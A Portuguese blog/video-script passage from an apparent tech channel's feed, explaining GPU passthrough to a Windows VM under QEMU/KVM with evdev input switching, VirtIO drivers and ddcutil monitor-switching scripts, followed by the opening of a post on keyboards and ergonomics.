<p>Pra combater isso nasceu um novo projeto, o Pipewire. Algumas distros modernas, como meu Manjaro, já começaram a substituir o Pulseaudio pelo Pipewire. Parece que Pipewire também tem suporte melhor a áudio via Bluetooth, então quem tinha problemas com fones sem fio, deve ter uma experiência melhor agora. Outra vantagem do Pipewire é ter uma camada de compatibilidade de API, daí aplicativos que esperam trabalhar com Pulseaudio conseguem se comunicar com o Pipewire. De qualquer forma, na configuração do QEMU não precisamos mexer nada. No XML que ele nos deu já vem esse canal de áudio apontando pra pulseaudio. Eu estou usando Pipewire no Manjaro e tá tudo funcionando então acho que funciona plug and play.</p>
<p>Áudio é um troço que dependendo do seu caso de uso, pode dar dor de cabeça. No Wiki que estamos seguindo, ele detalha direitinho como configurar pra pulseaudio, pipewire, jack, scream e mais. Se precisar muito tem como configurar na mão coisas como latência, bitrate. Por exemplo, pode dar problemas se no guest o som estiver configurado pra sair em 48 mhz e no host estiver pra 44 mhz. Se tiver sorte, como eu, não vai precisar mexer em nada. Mas só lembrando que se tiver problemas, tem que fuçar essa parte da documentação.</p>
<p>Chegamos no evento principal: passar a placa de video real NVIDIA pra dentro da máquina virtual. E se fez tudo direitinho lá no começo com IOMMU e VFIO, agora é só clicar em &ldquo;adicionar hardware&rdquo; aqui embaixo, escolher categoria PCI, e selecionar a RTX 3090 que tá separadinha já pra gente. Lembram como no mesmo grupo de IOMMU tinha esse dispositivo de áudio da NVIDIA? Precisa adicionar também, senão a máquina não vai bootar. Mas é só isso. </p>
<p>Comparado com os outros dispositivos que tivemos que configurar, a GPU é a mais fácil. Mais fácil ainda que teclado e mouse, que é nosso próximo passo. O ideal seria ter dois teclados e dois mouses, um conjunto ligado no host, e o outro pra passarmos pra máquina virtual, mas seria bem pouco prático fazer isso. Lembra quando falei sobre o KVM que não é o módulo de virtualização do Linux? O KVM que permite usar um conjunto de teclado e mouse e monitor e ficar chaveando pra mudar de um PC físico pra outro PC físico? É o que vamos fazer.</p>
<p>O chaveador virtual de teclado e mouse se chama EVDEV que é acrônimo pra &ldquo;event device&rdquo;. Olha no Wiki o que ele manda fazer. Temos que listar o que tem no diretório <code>/dev/input/by-id</code>. No meu caso tem todos esses aqui, o mais importante são os dois primeiros. Basta no XML, dentro do bloco de &ldquo;devices&rdquo; adicionar o seguinte:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">&#34;evdev&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="nt">&lt;source</span> <span class="na">dev=</span><span class="s">&#34;/dev/input/by-id/uinput-persist-mouse0&#34;</span><span class="nt">/&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;/input&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">&#34;evdev&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="nt">&lt;source</span> <span class="na">dev=</span><span class="s">&#34;/dev/input/by-id/uinput-persist-keyboard0&#34;</span> <span class="na">grab=</span><span class="s">&#34;all&#34;</span> <span class="na">repeat=</span><span class="s">&#34;on&#34;</span><span class="nt">/&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;/input&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">&#34;mouse&#34;</span> <span class="na">bus=</span><span class="s">&#34;virtio&#34;</span> <span class="nt">/&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">&#34;keyboard&#34;</span> <span class="na">bus=</span><span class="s">&#34;virtio&#34;</span> <span class="nt">/&gt;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Com isso, posso mover meu teclado e mouse pra dentro do guest ou pra fora no host apertando as teclas control da esquerda e da direita do teclado de uma só vez. No Wiki explica também se quiser mudar essa combinação de teclas. Só que na minha configuração de hardware em particular, o mouse não passa como deveria. Vamos entender porque. No terminal, podemos dar <code>cat</code> nesses dispositivos. Olha o que acontece se der <code>cat</code> no teclado.</p>
<p>Viram? Toda tecla que digito aparece o código aqui. É isso que o sistema operacional fica recebendo antes de traduzir pra letras. Vamos fazer a mesma coisa no primeiro dispositivo de mouse. Dou <code>cat</code>  e mexo o mouse e nada acontece. Isso porque estou usando um receptor sem fio USB que é esse outro dispositivo Logitech USB Receiver aqui em baixo. Tem 4 deles, mas depois de tentativa e erro descobri que é esse que termina com &ldquo;event-mouse&rdquo;. Só dar <code>cat</code> nele e olha só recebendo eventos. Portanto devo mudar o XML pra ficar assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">&#34;evdev&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="nt">&lt;source</span> <span class="na">dev=</span><span class="s">&#34;/dev/input/by-id/usb-Logitech_USB_Receiver-if01-event-mouse&#34;</span><span class="nt">/&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;/input&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">&#34;evdev&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="nt">&lt;source</span> <span class="na">dev=</span><span class="s">&#34;/dev/input/by-id/uinput-persist-keyboard0&#34;</span> <span class="na">grab=</span><span class="s">&#34;all&#34;</span> <span class="na">repeat=</span><span class="s">&#34;on&#34;</span><span class="nt">/&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;/input&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">&#34;mouse&#34;</span> <span class="na">bus=</span><span class="s">&#34;virtio&#34;</span> <span class="nt">/&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">&#34;keyboard&#34;</span> <span class="na">bus=</span><span class="s">&#34;virtio&#34;</span> <span class="nt">/&gt;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Pronto, agora sim o meu mouse vai funcionar. Por isso precisa entender o que realmente está acontecendo e o que cada configuração significa. Falta só mais uma coisinha pra continuar que é baixar a imagem ISO de CD com os drivers pra todos os dispositivos virtuais que configuramos. Sabe, todo lugar que selecionamos a opção de &ldquo;virtio&rdquo;? O que é VirtIO? Como o nome diz é &ldquo;Virtual I/O&rdquo;, é um nome genérico pra um conjunto de drivers pra esses dispositivos virtuais. O instalador do Windows não tem idéia de que diabos são dispositivos virtio, então precisamos dar os drivers pra ele.</p>
<p>O link vai estar nas descrições abaixo, mas quem mantém esses drivers é a RedHat e tem todas as versões nesta página da comunidade do Fedora. Só escolher a versão mais recente aqui embaixo e agora baixar este arquivo de ISO de 500 mega. Todos os drivers que vamos precisar estão aqui.</p>
<p>Baixado, vamos voltar pra tela de configuração do Virt Manager. Adicionamos um novo hardware de storage, selecionamos o ISO que acabamos de baixar e configuramos pra ser um CD-ROM SATA. Olha aqui que tem outras opções, tem SCSI, tem USB e tem Virtio. Virtio não pode ser, porque Windows não sabe ainda o que é Virtio sem os drivers que estão justamente nesse ISO. USB não sei pra que serve. SCSI também não rola, porque o instalador do Windows também não detecta SCSI. Por eliminação vai ser SATA.</p>
<p>Padrão SATA é o mais comum e genérico e até o Windows consegue entender na instalação. Por isso tanto o ISO do instalador de Windows quanto o ISO dos drivers, vamos configurar como dispositivos de CD-ROM SATA. Mas o HD virtual, formato qcow2 que criamos, está como SATA, mas Virtio tem performance melhor, então mudamos. Só que assim o instalador não vai detectar o HD. Não tem problema, pra isso baixamos os drivers. Finalmente, chegou a  hora de bootar essa máquina.</p>
<p>Olha só como o video sai pelo Display SPICE que mostra aqui na própria janela. É basicamente um streaming do video gerado pela placa de video virtual Virtio. Ele vai detectar o CD-ROM e podemos fazer o boot, exatamente como faria se fosse instalar via pendrive no seu PC de verdade. Vou passar rapidinho essas primeiras telas porque todo mundo já viu isso antes.</p>
<p>Pronto, chegamos na parte que o instalador tenta achar o HD pra particionar, formatar e copiar os arquivos. Mas não acha nada, porque como expliquei antes, não tem nenhum HD SATA. Mas tem essa opção de &ldquo;Load Driver&rdquo;. Podemos navegar pro CD do Virtio e ir pra pasta &ldquo;amd64&rdquo; logo no começo. Meio burro que o Windows não vasculhe o CD inteiro pra achar os drivers, mas beleza. E olha só, achou o driver da RedHat de controlador SCSI Virtio. E uma vez carregado, sucesso, agora sim ele acha o HD virtual e vai conseguir formatar e instalar. A partir daqui vou acelerar bastante a instalação pra terminar rápido. Terminando em, 3 &hellip; 2 &hellip; 1 &hellip;.</p>
<p>Terminou! Eis que estou no novo Windows virtualizado. Mas não acaba aqui. Primeira coisa a fazer é abrir o Gerenciador de Dispositivos. Olha só que coisa feia, um monte de dispositivos que o Windows não tem idéia do que fazer. Pra resolver isso temos que manualmente clicar com botão direito e mandar instalar o driver a partir do CD do Virtio. E pronto, um dispositivo configurado, vamos pros próximos.</p>
<p>Agora sim, o Windows detectou corretamente tudo que precisava. Esses drivers Virtio são o que chamamos de drivers paravirtualizados. Em uma virtualização completa, o Windows não saberia que tá sendo virtualizado, ele ia ser iludido a achar que tá numa máquina de verdade. E todo driver responderia como se fosse um dispositivo de verdade por baixo e não um arquivo formato qcow2 fingindo ser um HD de verdade. Ou uma ponte com NAT fingindo ser uma placa de rede.</p>
<p>Já drivers paravirtualizados falam pro Windows: &ldquo;ow, tu sabe que isso não é de verdade né?&rdquo; e o Windows &ldquo;porr, sérião? beleza, valeu por avisar, vamos trabalhar juntos nisso então&rdquo;. E sabendo que é virtualizado ele pode se comportar diferente de um driver normal pra otimizar performance. É uma explicação bem grosseira, mas o importante é que o Windows guest sabe que tá numa máquina virtual e vai agir de acordo e cooperar com o host por baixo pra ter mais performance.</p>
<p>A partir daqui é vida normal que segue. Vamos deixar o Windows Update atualizar o que precisa e baixar o resto dos drivers. Enquanto isso podemos ir no site da NVIDIA e baixar o GeForce Experience, que serve pra otimizar as configurações da GPU pra cada jogo. Ele também serve pra monitorar atualizações dos drivers e vamos instalar por ele. De novo, baixar e instalar é demorado então vou acelerar e terminar em 3 &hellip; 2&hellip; 1&hellip;</p>
<p>Com todos os drivers instalados e tudo atualizado, rebootamos a máquina e tá tudo funcionando. O que podemos fazer agora é desligar a máquina e remover a placa de video virtual Virtio e o monitor virtual SPICE. A partir de agora o Windows vai usar direto só a RTX 3090 de verdade. Então vamos fazer isso. Sei lá porque sempre dá erro pra remover esses dispositivos e o mais fácil é entrar na configuração XML e apagar manualmente. Olha só que chato.</p>
<p>Feito isso, vamos bootar de novo. Mas dessa vez vou bootar outro Windows que já tá configurado, com Steam e tudo só pra demonstrar como fica. Nesse caso vou deixar o OBS também rodando por trás pra gravar o jogo.</p>
<p>(jogo)</p>
<p>O que acham? Isso é um game pesado rodando com velocidade normal como se estivesse num PC de verdade. Mas isso só é possível porque estou usando uma CPU parruda, a Ryzen 9 5950. Estou usando só metade dos núcleos, que são 16 threads, com uns 20% menos performance por thread. Mas isso é quase o equivalente a   rodar um processador Ryzen 5 por exemplo, que já é mais do que suficiente pra maioria dos jogos. </p>
<p>Agora deixa mostrar um jogo incompatível com máquina virtual por causa do anti-cheat. Vamos carregar Elden Ring, esperar um pouco  e &hellip; olha só, dá pau e fecha. Ainda bem que no caso específico do Elden Ring a gambiarra pra carregar offline é simples. Basta ir com o explorer no diretório do jogo, apagar esse executável que carrega o anti-cheat e renomear o executável do jogo propriamente dito com o mesmo nome. Pronto. Vamos carregar de novo e olha só, não deixa entrar online mas pelo menos posso jogar sozinho, que é o que eu queria.</p>
<p>Eu não jogo online, mas quem joga uns Valorant da vida, não vai funcionar em máquina virtual pelo mesmo motivo: o anti-cheat vai detectar que tá em máquina virtual e se não tomar cuidado você pode ser banido. Assim como Elden Ring, alguns jogos tem jeitos de burlar isso mas de novo, tome cuidado pra não ser banido. Mas existe uma última saída caso eu quisesse muito jogar isso. Vamos abrir a configuração desta máquina virtual no Virt Manager.</p>
<p>Diferente da máquina virtual de testes que tava montando pra esse video, essa outra máquina que mais uso não foi instalado num HD virtual qcow2. Eu já tinha esse Windows em dual boot instalado direto no SSD NVME. Era meu sistema principal antes de instalar o Manjaro. Olha aqui a configuração de armazenamento no Virt-Manager. Em vez de apontar pra um arquivo .qcow2 está apontando direto pro dispositivo <code>/dev/nvme0n1</code>. </p>
<p>Digamos que eu queria muito jogar Elden Ring ou qualquer outra coisa que tenha anti-cheat online. Não tem jeito, a única forma é rodar num Windows nativo sem virtualizar. Nesse caso tenho que desligar meu Manjaro, rebootar e no Grub escolho Windows. Vamos acelerar aqui o boot e olha só, notaram? É exatamente o mesmo Windows que tava funcionando virtualizado. Felizmente, até o Windows é inteligente o suficiente pra detectar os dispositivos de verdade e carregar os drivers nativos certos em vez dos VFIO da máquina virtual. Eu posso usar o mesmo Windows tanto em dual boot nativo quanto virtualizado pelo QEMU/KVM.</p>
<p>E a partir daqui é um dual boot normal, sem nada de virtualização, com o Windows tendo acesso a 100% da CPU e às minhas duas placas de video. No caso de games, é onde vou ter o máximo possível de performance, caso precise. Mas se precisar de alguma coisa do Linux, preciso fechar tudo e rebootar de novo, um puta saco. Mas vamos voltar pro Manjaro de novo e abrir o Virt Manager, quero mostrar uma última coisa.</p>
<p>Se eu iniciar o Windows virtualizado por aqui, veja no gráfico que tá carregando, mas meu teclado e mouse páram de funcionar e não vejo nada no monitor. Isso porque o EVDEV que configurei sequestra meu teclado e mouse, mas isso é simples, basta apertar as duas teclas de control ao mesmo tempo, e o controle volta pro host Linux, olha só. E o Windows tá mandando sinal de video pela RTX 3090 que liga na segunda entrada de video do monitor. Eu preciso apertar o botão de menu aqui atrás e navegar até achar o lugar que muda qual sinal de HDMI o monitor vai mostrar. Olha só, tá aqui o Windows.</p>
<p>Vamos voltar pro cabo que sai da placa AMD e ficar no Linux um pouco. Notaram uma coisa irritante? Toda vez que eu abrir uma máquina virtual que usa a placa da NVIDIA precisa botar a mão atrás do monitor, caçar o botãozinho às cegas e mudar o input. Não, tem que ter jeito melhor, e de fato tem. Pesquisando, esbarrei nesta ferramenta chamada &ldquo;ddcutil&rdquo;. Vale ler toda a documentação, mas deixa demonstrar o que ela faz.</p>
<p>Primeiro, vamos abrir o terminal e rodar <code>ddcutil detect</code> com sudo. E  detectou meus dois monitores. O primeiro é o Samsung vertical e o segundo é o Asus principal. Agora posso fazer <code>ddcutil capabilities --display 2 --verbose</code> e  lista todos os comandos que meu monitor Asus suporta. Olha só, posso mexer no brilho, contraste, cores, mas o que me interessa é esse comando hexadecimal <code>60</code> que é input source.</p>
<p>Teoricamente, se rodar <code>ddcutil setvcp 60 0x01</code> deveria mudar pra entrada de DisplayPort e com <code>0x03</code> deveria ir pra entrada DVI. Mas por alguma razão essa lista tá errada ou incompleta, porque não listou os HDMIs. Eu não lembro mais onde foi que achei mas pro meu monitor Asus ROG TUF encontrei em algum lugar que os valores corretos são <code>0x0f</code> e <code>0x12</code>. Olha só, <code>ddcutil setvcp 60 0x0f</code>. Viram só? Mudou pra saída da placa NVIDIA. Podemos repetir o comando só que com <code>0x12</code>  e olha só, voltou pra saída da placa AMD. </p>
<p>Antes que alguém comente, sim, o que fiz com <code>ddcutil</code> teoricamente era pra funcionar com o comando <code>xrandr</code> mas por alguma razão não  funciona. Por isso procurei alternativas. Essas porcarias de servidor X.org e Wayland e essa transição até hoje ainda não tá 100%. Aliás, uma das razões de estar usando essa placa pequena AMD RX 6400 é justamente pra conseguir usar Wayland decentemente em vez de X.org. Dizem que NVIDIA já suporta ou vai suportar XWayland, mas ainda não parei pra ver isso. NVIDIA é um dos responsáveis pelo atraso na adoção de Wayland nas distros. Se for usar primariamente Linux, o recomendado é escolher placas de video da AMD.</p>
<p>Por último mesmo, tem um problema. Meu Manjaro eu deixo configurado pra depois de algum tempo, 1 ou 2 horas sem usar, fazer o sistema dormir pra economizar energia. Não gosto de desligar a noite antes de dormir e ter que esperar bootar de manhã. O problema é que enquanto estou usando a máquina virtual, o host tá como se ninguém estivesse usando. Então depois de 1 ou 2 horas, o host resolve que quer dormir. Só que quando isso acontece, congela a máquina virtual, porque o hypervisor vai dormir também, e aí trava tudo e eu preciso forçar um reboot no botão do PC.</p>
<p>Então criei um script chamado <code>bin/suspend</code> que aceita opção &ldquo;on&rdquo; ou &ldquo;off&rdquo; pra ligar ou desligar a função de dormir do GNOME usando o comando <code>gsettings</code>. Tem outras formas de fazer, se estiver em KDE ou outro gerenciador vai ser diferente, mas isso deve dar uma dica pra quem estiver interessado. Com esse comando, antes de ligar a máquina virtual eu rodo <code>bin/suspend off</code> e isso vai desligar a suspensão. E quando desligar a máquina virtual rodo <code>bin/suspend on</code> pra religar a função de suspensão da máquina e pronto.</p>
<p>Aproveitando, resolvi criar um script chamado <code>bin/vmstart</code> onde passo o nome da máquina. Olha o que ele faz: primeiro muda o governador das CPUs pro modo de performance. Em seguida desliga a configuração de suspensão do host. Finalmente, usa o comando <code>virsh start</code> pra iniciar a máquina virtual. Nesse momento a máquina vai bootar mas não adianta mudar a entrada do monitor já pra placa da NVIDIA porque até o Windows carregar não vai ter nenhum sinal de video. Então forço um sleep de 30 segundos e depois rodo o comando <code>ddcutil</code> pra mudar a entrada automaticamente. Vamos ver funcionando?</p>
<p>Rodo <code>bin/vmstart win11-real</code> que é minha máquina Windows principal onde tem meu DaVinci Resolve, Photoshop e onde edito os videos aqui do canal. Mais alguns segundos &hellip; e pronto, olha só, Windows carregado. Agora posso iniciar qualquer das minhas máquinas virtuais via linha de comando, sem precisar abrir o Virt-Manager. </p>
<p>Esse video já tá longo pra caramba, e isso porque pulei o que são Huge Pages na configuração de memória RAM, pulei falar de I/O threads e como reservar threads só pra operações de I/O, pulei falar de como dinamicamente mover coisas como meus gamepads USB pra máquina virtual automaticamente via &ldquo;udev&rdquo;, pulei falar sobre como é mais fácil plugar um hub USB. Enfim, o Wiki tem um montão de detalhes a mais. É uma aula de como configurar seu hardware e mesmo que você não vá montar uma configuração complicada como a minha, recomendo dar uma boa lida com muita atenção.</p>
<p>Além da página de Wiki do Arch também recomendo ler a página de Wiki do Gentoo. Ele tem informações extras que complementam a do Arch e uns truques e correções importantes. Como eu disse, esses dois Wikis são excepcionais e pra montar configurações complicadas assim, toda informação extra é bem vinda. </p>
<p>Com isso, finalmente consegui fazer uma coisa que vinha querendo faz mais de uma década: ter uma máquina com duas placas de video e conseguir passar uma delas pra máquinas virtuais funcionarem com performance máxima, especialmente pra games. Essa solução é melhor que dual boot porque posso subir quantas instalações de Windows ou Linux quiser, destruir quando não quiser mais, sem me preocupar em estragar o boot ou perder alguma coisa. Meus arquivos de HD Virtual qcow2 ficam no meu NAS que tá conectado com rede de 10 Gigabits, então mesmo bootando remotamente, a performance é muito boa. </p>
<p>Como falei no começo, o objetivo era documentar tudo que tive que pesquisar pra montar esse setup antes que começasse a esquecer os detalhes. A partir daqui vou sempre ficar mexendo scripts, coisinhas aqui e ali pra ajustar performance ou conveniência.</p>
<p>O mais bizarro que não vou mostrar no video é que hypervisors suportam nesting, ou seja, máquina virtual rodar outra máquina virtual. Eu consigo virtualizar o Windows e, de dentro dele, instalar WSL e rodar Linux via Hyper-V em cima do Windows que tá em cima do QEMU/KVM. É Inception na veia. Além disso posso rodar o Garuda Linux, abrir o Steam que roda via Proton, que é uma camada que usa Wine e várias outras bibliotecas pra emular Windows. </p>
<p>E falando em emulador, no outro Windows só pra jogos também instalei vários emuladores como o PCSX2 de PS2 ou RPCS3 de PS3 ou Yuzu de Nintendo Switch e mais. Emulador rodando dentro de emulador. Esse é o nível que eu esperava atingir 21 anos atrás quando comecei a mexer com máquinas virtuais. E por hoje é isso, se ficaram com dúvidas ou tiverem sugestões em cima desse setup, mandem nos comentários abaixo, se curtiram o video deixem um joinha, assinem o canal e não deixem de compartilhar o video com seus amigos. A gente se vê, até mais!</p>
]]></content:encoded><category>games</category><category>hardware</category><category>performance</category><category>akitando</category></item><item><title>[Akitando] #115 - Caminho pro Melhor Teclado do Mundo!</title><link>https://akitaonrails.github.io/2022/03/07/akitando-115-caminho-pro-melhor-teclado-do-mundo/</link><guid isPermaLink="true">https://akitaonrails.github.io/2022/03/07/akitando-115-caminho-pro-melhor-teclado-do-mundo/</guid><pubDate>Mon, 07 Mar 2022 12:39:00 -0300</pubDate><description>&lt;div class="embed-container"&gt;
&lt;iframe
src="https://www.youtube.com/embed/78aw1muYWQM"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
referrerpolicy="strict-origin-when-cross-origin"
allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;p&gt;== DESCRIÇÃO&lt;/p&gt;
&lt;p&gt;Esta é a conclusão da saga de teclados! Quero explorar quais problemas herdamos desde a era das máquinas de escrever, porque temos tantos tamanhos diferentes e tantos layouts diferentes de teclados, e se é possível chegar no teclado perfeito: o melhor teclado do mundo pra digitar rápido e evitar as dores mais comuns de digitadores como tendinite e LER. Vamos explorar!&lt;/p&gt;</description><content:encoded><![CDATA[

<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/78aw1muYWQM"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>== DESCRIÇÃO</p>
<p>Esta é a conclusão da saga de teclados! Quero explorar quais problemas herdamos desde a era das máquinas de escrever, porque temos tantos tamanhos diferentes e tantos layouts diferentes de teclados, e se é possível chegar no teclado perfeito: o melhor teclado do mundo pra digitar rápido e evitar as dores mais comuns de digitadores como tendinite e LER. Vamos explorar!</p>
<p>== Conteúdo</p>
<ul>
<li>00:00:00 - Intro: colchão, cadeira e dores</li>
<li>00:03:42 - IBM Model M, Model F, layout 100%</li>
<li>00:06:44 - Problema do Mouse, layout TKL</li>
<li>00:10:36 - Notebooks, Keychron K2, layout 75%</li>
<li>00:13:36 - Ducky, layout 65%</li>
<li>00:14:12 - Anne Pro 2, layout 60%</li>
<li>00:15:27 - layout 40%</li>
<li>00:15:58 - repensando meus teclados</li>
<li>00:17:01 - entendendo QWERTY e máquinas de escrever</li>
<li>00:19:31 - entendendo DVORAK</li>
<li>00:23:11 - entendendo COLEMAK</li>
<li>00:25:03 - entendendo WORKMAN</li>
<li>00:27:18 - o problema de todos os layouts</li>
<li>00:29:32 - o defeito herdado das máquinas de escrever</li>
<li>00:32:35 - repensando alinhamento: Planck EZ</li>
<li>00:34:41 - configurando um 40%, Oryx, layers, QMK</li>
<li>00:41:33 - como aprender a digitar rápido? keybr, monkeytype</li>
<li>00:48:32 - a fraude do CharaChorder e estenografia</li>
<li>00:52:38 - o melhor teclado? Moonlander MK1</li>
<li>00:59:55 - o melhor teclado? layout 33%!</li>
<li>01:01:56 - conclusão</li>
</ul>
<p>== Links</p>
<ul>
<li>The CharaChorder video is a scam - Read Description (<a href="https://www.youtube.com/watch?v=ARCPpUmKYiQ"target="_blank" rel="noopener">https://www.youtube.com/watch?v=ARCPpUmKYiQ</a>)</li>
<li>Taking Moonlander Ergonomics To The NEXT LEVEL With The Tripod Kit (Taking Moonlander Ergonomics To The NEXT LEVEL With The Tripod Kit)</li>
<li>A Tiny, Ultra-Affordable Keyboard You Can Build Yourself! (<a href="https://youtu.be/JqpBKuEVinw"target="_blank" rel="noopener">https://youtu.be/JqpBKuEVinw</a>)</li>
<li>Brad Colbow - Huion Kamvas 22 Plus Review (<a href="https://www.youtube.com/watch?v=GJxGzJgfYGA"target="_blank" rel="noopener">https://www.youtube.com/watch?v=GJxGzJgfYGA</a>)</li>
<li>Workman Layout (<a href="https://workmanlayout.org/"target="_blank" rel="noopener">https://workmanlayout.org/</a>)</li>
<li>Open Steno Project (<a href="http://www.openstenoproject.org/"target="_blank" rel="noopener">http://www.openstenoproject.org/</a>)</li>
</ul>
<p>== SCRIPT</p>
<p>Olá pessoal, Fabio Akita</p>
<p>Os meus videos de teclados foram alguns dos mais visualizados do canal e eu realmente achei que já tinha falado tudo que precisava sobre o assunto. Mas me enganei redondamente, e fui obrigado a rever todos os meus conceitos sobre digitação. No episódio de hoje quero falar de uma categoria de teclados especiais que acho que vai ser difícil me fazer voltar pros meus antigos. E ao mesmo tempo quero falar de alguns conceitos que muitos de vocês provavelmente nunca pensaram a respeito.</p>
<p>(&hellip;)</p>
<p>Por que muitos de nós parecemos tão obcecados com teclados? Sempre vai variar de pessoa pra pessoa, por isso nunca leve essas coisas como regras invioláveis nem nada disso. Na minha filosofia pessoal, existem no mínimo 3 coisas que eu faço absoluta questão de ter o melhor que puder conseguir. Nosso dia tem 24 horas. Um terço dessas horas, pelo menos 8 horas todo dia, a gente passa dormindo. Por isso faz sentido investir num colchão decente, com travesseiro decente, pra não acordar todo dia moído, com torcicolo e dor nas costas. Economiza em tudo, menos no seu colchão.</p>
<p>Em segundo lugar, pra todos nós que trabalhamos com programação, passamos a maior parte do tempo sentados. E não caia na armadilha das cadeiras gamers. Eu passei um tempão testando cadeiras gamer e vou dizer que a melhor gamer ainda não é melhor que uma cadeira de escritório honesta, feita pra ser realmente ergonômica. Essa que estou sentado agora é uma Hermann Miller Aeron, mas é super cara e eu acho que tem cadeira que pela metade do preço vai ser igualmente confortável. Cadeira, assim como colchão, é um troço que você precisa ir na loja, gastar algumas horas experimentando e sentir se sua lombar e tudo mais tão sustentados de verdade, se não te força numa posição estranha. Se puder, evite comprar online sem testar antes. E isso também é tudo que vou falar sobre cadeiras.</p>
<p>E em terceiro lugar tá o periférico que você vai usar o mesmo tanto de horas que passa sentado trabalhando, que é seu teclado. Pense que um programador gasta muito mais horas usando teclado e mouse do que usando um smartphone, mas a maioria das pessoas gasta mais tempo pesquisando sobre smartphones do que teclados, cadeiras ou colchão. E se além de programador, nas suas horas vagas você é gamer e vai virar noite no fim de semana jogando, então é bem mais que 8 horas por dia. E depois não entende porque tem 20 anos e já tem dor nas costas e tendinite.</p>
<p>Eu não sou especialista de ergonomia então falo só por mim, mas na prática, evitar dores no corpo tem mais a ver com ficar horas travado na mesma posição do que não estar numa &ldquo;postura correta&rdquo;. O segredo é de hora em hora pelo menos, mudar de posição, pra qualquer outra posição. Dar uma levantada de 2 minutos, dar uma esticada de 1 minuto, mas com alguma frequência. Se fizer isso, 90% dos problemas você já resolveu. Por exemplo, se ficou 1 hora sentado com a postura correta, muda de posição, pode sentar torto, sentado em cima da perna como muita gente faz. Mas depois de uma hora, muda de posição de novo. O importante é menos a posição e mais mexer seu corpo pra não deixar forçando sempre na mesma posição.</p>
